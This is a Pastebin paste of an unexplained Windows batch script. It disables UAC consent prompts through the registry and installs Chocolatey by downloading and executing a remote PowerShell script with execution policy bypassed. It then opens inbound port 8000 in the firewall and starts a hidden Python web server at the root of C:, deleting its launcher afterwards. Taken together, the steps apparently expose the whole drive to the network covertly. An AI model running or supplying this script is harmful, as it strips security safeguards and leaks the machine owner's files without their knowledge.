Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- REM disable UAC Prompt
- reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorUser /t REG_DWORD /d 0 /f
- reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
- REM install choco
- @"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))" && SET "PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin"
- choco feature enable -n allowGlobalConfirmation
- REM install python
- choco install python
- REM open port 8000
- netsh advfirewall firewall add rule name="Open Port 8000" dir=in action=allow protocol=TCP localport=8000
- cd c:\
- REM Create vbs file to start python hidden
- echo Dim WShell > go.vbs
- echo Set WShell = CreateObject("WScript.Shell") >> go.vbs
- echo WShell.Run "c:\Python36\python -m http.server", 0 >> go.vbs
- echo Set WShell = Nothing >> go.vbs
- REM start webserver
- wscript go.vbs
- delete go.vbs
Add Comment
Please, Sign In to add comment